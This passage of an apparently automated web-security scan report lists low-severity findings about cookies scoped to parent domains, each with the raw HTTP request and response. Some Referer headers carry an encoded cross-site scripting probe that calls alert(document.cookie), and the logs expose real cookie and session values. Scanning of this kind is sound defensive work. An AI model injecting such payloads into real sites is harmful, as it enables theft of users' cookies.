Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:26:09 GMT
Server: Apache
P3P: policyref="http://scripts.chitika.net/w3c/p3p.xml", CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA"
Set-Cookie: _cc=G/SkJTIFoxB5zyrGvNoopUmJl2rsItRDWa+mMYtlFsMkqNkYLjf2S50TROQG59rAL1bd9/fru8qt59wzOMjm3zNoYwE3YNuGFh9r5pQyYF8IBuWtKzzuHg0EDf/OXTGwN4F0yzBRSsFrNaxBTurQk405PQiw6OztUAy+wVNGctUh2bI4o+E9Ip02zo1FpoGCl03GPW8YYrbsxuJG3RP/FXHhECqNMLZ3FujUPMYSQS4kC+I6tXLqBlwHa+Y8F+vNGqcNkAxZpUSMvHEO8khCYplFBx+Y+YbrxuGvKbBA4tZ0bqBN4lQhUBzx8YBlP2FsPJrbVK6NMroVMNC22xzJ0lAih4JSqLegFemViNUjn5mzE3l3Blj4eWfvwLcr4gqAZw5ywM/1YurC6/+iOUtyrecQGPVej55Oz02Rg41Zv724GqbA.1tBPbIb2KArc06KV27bEdA.4; path=/; domain=.chitika.net; expires=Sun, 05-Feb-2012 22:26:09 GMT
Vary: Accept-Encoding
Connection: close
Content-Type: application/x-javascript; charset=utf-8
Content-Length: 19728

var ch_mmhtml = {"mobilehtml":"","pixelhtml":"","snurl":"http://searchnet.chitika.net/audience?cc=US&domain=homeappliance.manualsonline.com&ip=173.193.214.243&murl=foxnews8.com,usinsuranceonline.com,d
...[SNIP]...

14.115. http://mm.chitika.net/track previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://mm.chitika.net
Path:	/track

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

_cc=G/SkJSQEuhBljgvx6LisqP2AupJFgK5WemUmSqCRZBWwtlJoLJyYgB+x08rWfR/ShFOalNGTqfmziVraghl7E5uw5btO/3yboIdQqftyHKB+g7P8wMvkemEuzoCTYpWKHlUSxVhR50f2PlZ6fjsBY0CFwN9hVXFmL8HKdre0pLs5j588G6gZiAJRmHCBNkJOTSR//T65ILEf+/zYQH9GEFG21a2cOwXpQT/X3AA1xYRx55e5f0pk89+3749Q7bToVTjXJEtWHe0sLv6YvvEL0st9nPt2AvKtpaEWfj3Za7cWIDXcN0fSKTgVHgotXqUMppLvmdMFBj7UXYE3V4wIHjW4oLDYBkaexvtU/jFfW33U5VDxBYKf0wTugzjk+6FQPhbOk5WHOShaZ3pmXtPi1RHnV3CEpc3tWhURdlFptP5JLt2lQ0nGlSXSbFGH/vYeuIiFhzqouFUKdaeTaNkWRPNqjPrrmyjI3Zlgea+6POPlNmGrHviQhkvEwsbqhAr121e/z1ZyuXphNg==.dshw/dsAXHyAOlroJxVp1A.4; path=/; domain=.chitika.net; expires=Sun, 05-Feb-2012 22:58:22 GMT

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /track?target=http%3A%2F%2F0.r.msn.com%2F%3Fld%3D4vRbS86owapl3S39Z4NwMAKr4jyz22X6f5dq3sOZl3K-Tm58oqyL8R5a33jSckizaBNT5cqDC9dLnoaZwTRDOLvCZuP4Hd1tKvEGJ48Yg9ymMJUuchZooEvHE_4jToP11VzLwGkpUJmfw1tzGs_9KHJ_QsGQopcDEBlHJ02toOlMw3OhpT1Sp7-kfL9vx_wVr4rwVXhSB2g9cP7EGt9qNcAk5HUrKtBKDzRN8QhEo47mKLtSbpmbu2KcKS3GNjRKqjDvFQZcDTd5nER86kSK4uM2XjSrFBnsGCZ7NGKSh7ZoQtgERZ8WACUwwwqd-diM7ZNVQJTMGV28mF1YgtRXKVbb_ViygQJmNzPUXkUWKbQX8wNyfrVBB6rZ5hfUNg8ZC5_is4of3on-HJ&xargs=1Owx8oFMt4m2YkqUMiPXwDnPUhRRY7ZEJ9LJTWSrnbZhgBfErhtcKKOiM6mjHeLYQPOhFTlgMiQNUi0Wzinee2B3WGL1cDC9iHCONuiA3%2FJLEbd3x%2FFU5i2%2FejQpwMx5yyDTjsWiUUsISHcBq5Cyt5RwSg5CKdbMkrYy9xwqz2dX1VJJLhn25UnM9r3EOr3kRAA7PYs93YlDtwLI5JLm3nWA7dYYrFPozVln3uSAGFgS4lCNg3xHbrApZyDMytFV2l2C7ULWrmQ1l9bzagD%2FAT68Pby1uNFEA22B%2FM90suzy%2FYjy3MzE23bVmK7lC9jUeyBWeaoqNWxXGRluKS44nJO34%2BrioOQV%2FxSJ%2By45Fo8X%2FyWC5WegF0dVp6w1Bt2lFzVLgvn19KwnF%2BFWR4G6ZhENP1sKJJ8ayL0Tdvc1we8TPqrcCxAlGk5VR%2F94hQcEKqe6WwkOm3ytJOOEop9VFSJq%2FtFSYoywNhWzr%2BIMaHWBqkqSde8xNIVIc5X5QSFeoSqyFJwnv8A%3D&template=v1-450xauto\ HTTP/1.1
Host: mm.chitika.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _cc=G/SkJiIEkgB5jwthOgp2U7fj6wwhdgvL4c0tN7QIkjl+9DY+kxm0FYEPwYHEtzd1Eb9GVhAFySrB7FsCah5yekHnHk86QdWmqzPlPoX9fVgKhjoJ7H0CpjFT5Hp1o2UMeStsZFPsF38vogWeCxRsANnVfye1gm5VQVRitA3zocW7G6iOKSNpC8nW/fSMYPkd+FCgRcmr74lmkl5cwzW3Czwl6LeM3oQBJIYcJ6NbVb7AFAn8X+k1IsMDj5bEGLsE44aH3XGVfZEeq7YK0yCm1xoznT+oB6MyoGrFo+3L+n46HJMn/fIuhcbGfmpCGIWgP/8azfwodcqzdnmXzDHV02SLzkuIP4TROEiHhvvFYJCve1mdj9NNH2b6m71cRkwsP7WlTZEvF7RLkkrfjucSwCzhr5Z1qjMilr/trLois3rxw1y+NdQfz3XqMUHrYIFc6GSu7GKj22sCBmPetmAel7epjXByEoA7.VuO7eR5Qy1Z0VmN7sMLZzA.4;

Response

HTTP/1.1 302 Found
Date: Sat, 05 Feb 2011 22:58:22 GMT
Server: Apache
P3P: policyref="http://scripts.chitika.net/w3c/p3p.xml", CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA"
Set-Cookie: _cc=G/SkJSQEuhBljgvx6LisqP2AupJFgK5WemUmSqCRZBWwtlJoLJyYgB+x08rWfR/ShFOalNGTqfmziVraghl7E5uw5btO/3yboIdQqftyHKB+g7P8wMvkemEuzoCTYpWKHlUSxVhR50f2PlZ6fjsBY0CFwN9hVXFmL8HKdre0pLs5j588G6gZiAJRmHCBNkJOTSR//T65ILEf+/zYQH9GEFG21a2cOwXpQT/X3AA1xYRx55e5f0pk89+3749Q7bToVTjXJEtWHe0sLv6YvvEL0st9nPt2AvKtpaEWfj3Za7cWIDXcN0fSKTgVHgotXqUMppLvmdMFBj7UXYE3V4wIHjW4oLDYBkaexvtU/jFfW33U5VDxBYKf0wTugzjk+6FQPhbOk5WHOShaZ3pmXtPi1RHnV3CEpc3tWhURdlFptP5JLt2lQ0nGlSXSbFGH/vYeuIiFhzqouFUKdaeTaNkWRPNqjPrrmyjI3Zlgea+6POPlNmGrHviQhkvEwsbqhAr121e/z1ZyuXphNg==.dshw/dsAXHyAOlroJxVp1A.4; path=/; domain=.chitika.net; expires=Sun, 05-Feb-2012 22:58:22 GMT
Location: http://0.r.msn.com/?ld=4vRbS86owapl3S39Z4NwMAKr4jyz22X6f5dq3sOZl3K-Tm58oqyL8R5a33jSckizaBNT5cqDC9dLnoaZwTRDOLvCZuP4Hd1tKvEGJ48Yg9ymMJUuchZooEvHE_4jToP11VzLwGkpUJmfw1tzGs_9KHJ_QsGQopcDEBlHJ02toOlMw3OhpT1Sp7-kfL9vx_wVr4rwVXhSB2g9cP7EGt9qNcAk5HUrKtBKDzRN8QhEo47mKLtSbpmbu2KcKS3GNjRKqjDvFQZcDTd5nER86kSK4uM2XjSrFBnsGCZ7NGKSh7ZoQtgERZ8WACUwwwqd-diM7ZNVQJTMGV28mF1YgtRXKVbb_ViygQJmNzPUXkUWKbQX8wNyfrVBB6rZ5hfUNg8ZC5_is4of3on-HJ
Content-Length: 605
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>302 Found</title>
</head><body>
<h1>Found</h1>
<p>The document has moved <a href="http://0.r.msn.com/?ld=4vRbS86owapl3S39Z4NwMAKr
...[SNIP]...

14.116. http://msdn.microsoft.com/en-us/library/ms537509(VS.85 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://msdn.microsoft.com
Path:	/en-us/library/ms537509(VS.85

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

A=I&I=AxUFAAAAAAAyBwAAuz30ai1AfCKXhVuk1jrJ1A!!&M=1; domain=.microsoft.com; expires=Tue, 05-Feb-2041 22:58:24 GMT; path=/
ADS=SN=175A21EF; domain=.microsoft.com; path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /en-us/library/ms537509(VS.85 HTTP/1.1
Host: msdn.microsoft.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 13151
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.5
P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI"
Set-Cookie: A=I&I=AxUFAAAAAAAyBwAAuz30ai1AfCKXhVuk1jrJ1A!!&M=1; domain=.microsoft.com; expires=Tue, 05-Feb-2041 22:58:24 GMT; path=/
Set-Cookie: ADS=SN=175A21EF; domain=.microsoft.com; path=/
X-AspNetMvc-Version: 2.0
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI"
X-Powered-By: ASP.NET
Date: Sat, 05 Feb 2011 22:58:26 GMT

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">
<head><title>

Content not fou
...[SNIP]...

14.117. http://myweb2.search.yahoo.com/myresults/bookmarklet previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://myweb2.search.yahoo.com
Path:	/myresults/bookmarklet

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

B=86nvjvd6kthej&b=3&s=sl; expires=Tue, 02-Jun-2037 20:00:00 GMT; path=/; domain=.yahoo.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /myresults/bookmarklet HTTP/1.1
Host: myweb2.search.yahoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 301 Moved Permanently
Date: Sun, 06 Feb 2011 16:01:23 GMT
Set-Cookie: B=86nvjvd6kthej&b=3&s=sl; expires=Tue, 02-Jun-2037 20:00:00 GMT; path=/; domain=.yahoo.com
P3P: policyref="http://p3p.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE GOV"
Location: http://bookmarks.yahoo.com/myresults/bookmarklet
Cache-Control: private
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 190

The document has moved <A HREF="http://bookmarks.yahoo.com/myresults/bookmarklet">here</A>.<P>

14.118. https://online.americanexpress.com/myca/acctsumm/us/action previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://online.americanexpress.com
Path:	/myca/acctsumm/us/action

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

SaneID=10.10.14.1-1296942696431338; Path=/; expires=Tue, 09-Feb-16 21:51:36 GMT; domain=.americanexpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /myca/acctsumm/us/action HTTP/1.1
Host: online.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

14.119. https://online.americanexpress.com/myca/logon/us/action previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://online.americanexpress.com
Path:	/myca/logon/us/action

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

SaneID=10.10.14.1-1296942696685904; Path=/; expires=Tue, 09-Feb-16 21:51:36 GMT; domain=.americanexpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /myca/logon/us/action HTTP/1.1
Host: online.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

14.120. http://orthoinfo.aaos.org/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://orthoinfo.aaos.org
Path:	/

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

SaneID=173.193.214.243-16894361880414; path=/; expires=Sat, 05-Feb-16 21:51:39 GMT; domain=.aaos.org

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET / HTTP/1.1
Host: orthoinfo.aaos.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Connection: close
Date: Sat, 05 Feb 2011 21:51:39 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Set-cookie: SaneID=173.193.214.243-16894361880414; path=/; expires=Sat, 05-Feb-16 21:51:39 GMT; domain=.aaos.org
Content-Type: text/html; charset=UTF-8

<html>
   <head>
       <title>AAOS - Your Orthopaedic Connection</title>
       <meta name="keywords" content="orthopaedic, orthopedic, orthopaedics, orthopedics,surge
...[SNIP]...

14.121. http://pixel.33across.com/ps/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://pixel.33across.com
Path:	/ps/

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

33x_ps=u%3D6285160526%3As1%3D1295482376917%3Ats%3D1296942584073%3As2.33%3D%2C6770%2C6570%2C4150%2C5360%2C; Domain=.33across.com; Expires=Sun, 05-Feb-2012 21:49:44 GMT; Path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /ps/?pid=114&cgn=13694&seg=5360 HTTP/1.1
Host: pixel.33across.com
Proxy-Connection: keep-alive
Referer: http://fls.doubleclick.net/activityi;src=189445;type=amexo204;cat=2009a134;ord=1;num=3654638226144.0156?
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: 33x_ps=u%3D6285160526%3As1%3D1295482376917%3Ats%3D1296758537488%3As2.33%3D%2C6770%2C6570%2C4150%2C

Response

HTTP/1.1 302 Moved Temporarily
Date: Sat, 05 Feb 2011 21:49:43 GMT
Server: 33X1
P3P: CP='NOI DSP COR NID PSA PSD OUR IND UNI COM NAV INT DEM STA'
Location: http://segment-pixel.invitemedia.com/pixel?partnerID=38&key=segment&code=5360&random=590147
Content-Length: 0
Set-Cookie: 33x_ps=u%3D6285160526%3As1%3D1295482376917%3Ats%3D1296942584073%3As2.33%3D%2C6770%2C6570%2C4150%2C5360%2C; Domain=.33across.com; Expires=Sun, 05-Feb-2012 21:49:44 GMT; Path=/
Connection: close
Content-Type: text/plain; charset=UTF-8

14.122. http://pixel.intellitxt.com/pixel.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://pixel.intellitxt.com
Path:	/pixel.jsp

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

VM_PIX=AQAAAAkAAArrAQAAAAEAAAEt98vDoAAACuoBAAAAAQAAAS33y8OgAAAKywEAAAABAAABLffLw6AAAAroAQAAAAEAAAEt98vDoAAACs0BAAAAAQAAAS33y8OgAAAKzAEAAAABAAABLffLw6AAAArSAQAAAAEAAAEt98vDoAAABBUBAAAAAQAAAS2qBrSKAAAK1QEAAAABAAABLffLw6AAAAAAHcLRHA--; Domain=.intellitxt.com; Expires=Wed, 06-Apr-2011 21:48:02 GMT; Path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /pixel.jsp?id=2773,2770,2765,2794,2792,2795,2763,2764&type=script&ipid=18400&sfid=0 HTTP/1.1
Host: pixel.intellitxt.com
Proxy-Connection: keep-alive
Referer: http://download32.us.intellitxt.com/iframescript.jsp?src=http%3A%2F%2Fpixel.intellitxt.com%2Fpixel.jsp%3Fid%3D2773%2C2770%2C2765%2C2794%2C2792%2C2795%2C2763%2C2764%26type%3Dscript%26ipid%3D18400%26sfid%3D0
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: VM_PIX="AQAAAAEAAAQVAQAAAAEAAAEtqga0igAAAAAy/bdY"; VM_USR=AEzVm3phPEGhmHnIrJhIDIAAADqMAAA63gEAAAEt98uhdQA-

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Cache-Control: private
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
P3P: CP="NON DSP CURa ADMa DEVa TAIa PSAa PSDa OUR IND UNI COM NAV INT DEM CNT STA PRE LOC"
Set-Cookie: VM_PIX=AQAAAAkAAArrAQAAAAEAAAEt98vDoAAACuoBAAAAAQAAAS33y8OgAAAKywEAAAABAAABLffLw6AAAAroAQAAAAEAAAEt98vDoAAACs0BAAAAAQAAAS33y8OgAAAKzAEAAAABAAABLffLw6AAAArSAQAAAAEAAAEt98vDoAAABBUBAAAAAQAAAS2qBrSKAAAK1QEAAAABAAABLffLw6AAAAAAHcLRHA--; Domain=.intellitxt.com; Expires=Wed, 06-Apr-2011 21:48:02 GMT; Path=/
Content-Type: text/html
Vary: Accept-Encoding
Date: Sat, 05 Feb 2011 21:48:02 GMT
Connection: close
Content-Length: 3149

(function(){try{var d=document;var u;u='http://segment-pixel.invitemedia.com/pixel?code=2773&partnerID=86&key=segment&returnType=js';if(navigator.appVersion.indexOf('MSIE')>=0 && ('complete'!=document
...[SNIP]...

14.123. http://pixel.quantserve.com/pixel previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://pixel.quantserve.com
Path:	/pixel

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

d=EIcAJKANq0itiBCpnizJGquYH6TbIAGzAQH9BYHWAJrR5q8fLyD5HhvB0s5SBu0fLC5Rs7ohqS4t8QyUYA-yASARKR8w4wANMOMAjFCSDU0YhIFADybhCx6zwQsaUbHhAE0QIgAXLkw-glA7I4OxHhmiEA; expires=Fri, 06-May-2011 21:47:57 GMT; path=/; domain=.quantserve.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /pixel;r=535453051;fpan=1;fpa=P0-1697810850-1296942494788;ns=0;url=http%3A%2F%2Fwww.download32.com%2Fnslookup-software.html;ref=;ce=1;je=1;sr=1920x1200x16;enc=n;ogl=;dst=1;et=1296942494785;tzo=360;a=p-fdwEfW0hIeH9U;tags=721.8541.18400 HTTP/1.1
Host: pixel.quantserve.com
Proxy-Connection: keep-alive
Referer: http://www.download32.com/nslookup-software.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mc=4d21fad0-365c5-43e3d-97d7a; d=EKUAJKANq0itiBCpnizJGquYH6TbIAG6AQH9BYHWAJrR5q8fLyD5HhvB0s5SBu0fLC5Rs7ohqS4t8QyUYA-yASARKR8w4wANMOMAjFCSDU0esuGcFUAPJuELHrPBCxpRseEAKhHyAiABcuTD6CUDsjg7EeGaIQ

Response

HTTP/1.1 302 Found
Connection: close
Location: http://ad.yieldmanager.com/unpixel?id=1055858&id=1057014&t=2
Set-Cookie: d=EIcAJKANq0itiBCpnizJGquYH6TbIAGzAQH9BYHWAJrR5q8fLyD5HhvB0s5SBu0fLC5Rs7ohqS4t8QyUYA-yASARKR8w4wANMOMAjFCSDU0YhIFADybhCx6zwQsaUbHhAE0QIgAXLkw-glA7I4OxHhmiEA; expires=Fri, 06-May-2011 21:47:57 GMT; path=/; domain=.quantserve.com
P3P: CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR SAMa IND COM NAV"
Cache-Control: private, no-cache, no-store, proxy-revalidate
Pragma: no-cache
Expires: Fri, 04 Aug 1978 12:00:00 GMT
Content-Length: 0
Date: Sat, 05 Feb 2011 21:47:57 GMT
Server: QS

14.124. http://px.owneriq.net/cm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://px.owneriq.net
Path:	/cm

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

gguuid=CAESEJ1QzO8syyE54_azrc6wYSw; expires=Thu, 04-Feb-2016 22:28:27 GMT; path=/; domain=.owneriq.net
rpq=deleted; expires=Fri, 05-Feb-2010 22:28:26 GMT; path=/; domain=.owneriq.net

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /cm?id=CAESEJ1QzO8syyE54_azrc6wYSw&cver=1 HTTP/1.1
Host: px.owneriq.net
Proxy-Connection: keep-alive
Referer: http://homeappliance.manualsonline.com/ex/mfg/headline/m/ariens47888%2527%253balert%2528document.cookie%2529%252f%252f8fcf167d281/d/type/product_problem
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: memSessionId=59308638-3172-11e0-bdbb-0030485f67c6; si=7431457a-2008-4af6-823b-5fab70668c12; oxuuid=a9147669-7acb-495a-a7a7-b8a2e6b13599; ss=2n78c.6f2tf.6qa; rpq=351513.866594.150149.351513.866594

Response

HTTP/1.1 302 Moved Temporarily
Server: Apache/2.2.15 (Fedora)
X-Powered-By: PHP/5.2.13
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA"
Location: http://ib.adnxs.com/px?bidder=13&seg=49740&qsdata=7431457a-2008-4af6-823b-5fab70668c12:4441692.10781187.8722&redir=http%3A%2F%2Fad.yieldmanager.com%2Fpixel%3Fadv%3D95413%26t%3D2%26id%3D351513%26id%3D866594%26id%3D150149%26id%3D351513%26id%3D866594
Content-Length: 0
Content-Type: text/html; charset=UTF-8
Expires: Sat, 05 Feb 2011 22:28:27 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Sat, 05 Feb 2011 22:28:27 GMT
Connection: close
Vary: Accept-Encoding
Set-Cookie: gguuid=CAESEJ1QzO8syyE54_azrc6wYSw; expires=Thu, 04-Feb-2016 22:28:27 GMT; path=/; domain=.owneriq.net
Set-Cookie: rpq=deleted; expires=Fri, 05-Feb-2010 22:28:26 GMT; path=/; domain=.owneriq.net

14.125. http://px.owneriq.net/oxcm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://px.owneriq.net
Path:	/oxcm

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

oxuuid=a9147669-7acb-495a-a7a7-b8a2e6b13599; expires=Thu, 04-Feb-2016 22:27:24 GMT; path=/; domain=.owneriq.net

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /oxcm?s=4441692.10781187&oxuuid=a9147669-7acb-495a-a7a7-b8a2e6b13599 HTTP/1.1
Host: px.owneriq.net
Proxy-Connection: keep-alive
Referer: http://homeappliance.manualsonline.com/ex/mfg/headline/m/ariens47888%2527%253balert%2528document.cookie%2529%252f%252f8fcf167d281/d/type/product_problem
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: memSessionId=59308638-3172-11e0-bdbb-0030485f67c6; ss=2n78c.6f2tf; si=7431457a-2008-4af6-823b-5fab70668c12; rpq=351513.866594

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Fedora)
X-Powered-By: PHP/5.2.13
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA"
Content-Length: 43
Content-Type: image/gif
Expires: Sat, 05 Feb 2011 22:27:24 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Sat, 05 Feb 2011 22:27:24 GMT
Connection: close
Set-Cookie: oxuuid=a9147669-7acb-495a-a7a7-b8a2e6b13599; expires=Thu, 04-Feb-2016 22:27:24 GMT; path=/; domain=.owneriq.net

GIF89a.............!.......,...........D..;

14.126. http://px.owneriq.net/p previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://px.owneriq.net
Path:	/p

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

ss=2n78c.6f2tf; expires=Thu, 04-Feb-2016 22:27:10 GMT; path=/; domain=.owneriq.net
si=18fa5f7f-8d3f-4a46-9deb-a7032f753452; expires=Thu, 04-Feb-2016 22:27:10 GMT; path=/; domain=.owneriq.net
rpq=351513.866594; expires=Thu, 04-Feb-2016 22:27:10 GMT; path=/; domain=.owneriq.net

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /p?sid%5B%5D=4441692&sid%5B%5D=10781187&rid%5B%5D=351513&rid%5B%5D=866594&pt=oiq HTTP/1.1
Host: px.owneriq.net
Proxy-Connection: keep-alive
Referer: http://homeappliance.manualsonline.com/ex/mfg/headline/m/ariens47888%2527%253balert%2528document.cookie%2529%252f%252f8fcf167d281/d/type/product_problem
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: memSessionId=59308638-3172-11e0-bdbb-0030485f67c6

Response

HTTP/1.1 302 Moved Temporarily
Server: Apache/2.2.15 (Fedora)
X-Powered-By: PHP/5.2.13
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA"
Location: http://cm.g.doubleclick.net/pixel?nid=owneriq1
Content-Length: 0
Content-Type: text/html; charset=UTF-8
Expires: Sat, 05 Feb 2011 22:27:10 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Sat, 05 Feb 2011 22:27:10 GMT
Connection: close
Vary: Accept-Encoding
Set-Cookie: ss=2n78c.6f2tf; expires=Thu, 04-Feb-2016 22:27:10 GMT; path=/; domain=.owneriq.net
Set-Cookie: si=18fa5f7f-8d3f-4a46-9deb-a7032f753452; expires=Thu, 04-Feb-2016 22:27:10 GMT; path=/; domain=.owneriq.net
Set-Cookie: rpq=351513.866594; expires=Thu, 04-Feb-2016 22:27:10 GMT; path=/; domain=.owneriq.net

14.127. https://rewards.americanexpress.com/myca/loyalty/us/rewards/mracctmgmt/acctsumm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://rewards.americanexpress.com
Path:	/myca/loyalty/us/rewards/mracctmgmt/acctsumm

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

SaneID=10.10.14.1-1296942739771928; Path=/; expires=Tue, 09-Feb-16 21:52:19 GMT; domain=.americanexpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /myca/loyalty/us/rewards/mracctmgmt/acctsumm?request_type=authreg_mr&Face=en_US&inav=menu_myacct_mrpointsum HTTP/1.1
Host: rewards.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 302 Found
